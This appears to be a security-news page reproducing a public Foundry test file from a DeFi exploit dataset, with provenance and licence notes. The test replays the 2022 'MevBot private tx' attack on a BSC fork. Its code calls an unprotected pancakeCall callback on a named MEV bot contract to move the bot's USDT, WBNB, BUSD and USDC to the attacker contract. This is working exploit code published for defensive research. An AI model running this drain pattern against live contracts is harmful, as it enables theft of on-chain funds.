Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/BNB48MEVBot_exp.sol

Public reproduction file for dataset entry MevBot private tx.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/BNB48MEVBot_exp.sol67 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6interface MEVBot {
7 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
8}
9
10contract ContractTest is Test {
11 address public _token0;
12 address public _token1;
13 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
15 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
16 IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
17 MEVBot Bot = MEVBot(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d);
18 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20 function setUp() public {
21 cheats.createSelectFork("bsc", 21_297_409);
22 }
24 function testExploit() public {
25 emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
26 emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);
27 emit log_named_decimal_uint("[Start] Attacker BUSD balance before exploit", BUSD.balanceOf(address(this)), 18);
28 emit log_named_decimal_uint("[Start] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 18);
30 uint256 USDTAmount = USDT.balanceOf(address(Bot));
31 uint256 WBNBAmount = WBNB.balanceOf(address(Bot));
32 uint256 BUSDAmount = BUSD.balanceOf(address(Bot));
33 uint256 USDCAmount = USDC.balanceOf(address(Bot));
35 (_token0, _token1) = (address(USDT), address(USDT));
36 Bot.pancakeCall(
37 address(this), USDTAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
38 );
39 (_token0, _token1) = (address(WBNB), address(WBNB));
40 Bot.pancakeCall(
41 address(this), WBNBAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
42 );
43 (_token0, _token1) = (address(BUSD), address(BUSD));
44 Bot.pancakeCall(
45 address(this), BUSDAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
46 );
47 (_token0, _token1) = (address(USDC), address(USDC));
48 Bot.pancakeCall(
49 address(this), USDCAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
50 );
52 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
53 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
54 emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);
55 emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 18);
56 }
58 function token0() public view returns (address) {
59 return _token0;
60 }
62 function token1() public view returns (address) {
63 return _token1;
64 }
66 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) public {}

Analysis

Dataset entry

Public Foundry test for “MevBot private tx” (2022-09-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
MevBot private tx
Path
src/test/2022-09/BNB48MEVBot_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b13b9423e0e25acb6b945568815f56ac8ce11b02
Language
Solidity
Size
68 lines
Date
2022-09-13
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/BNB48MEVBot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b13b9423e0e25acb6b945568815f56ac8ce11b02, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.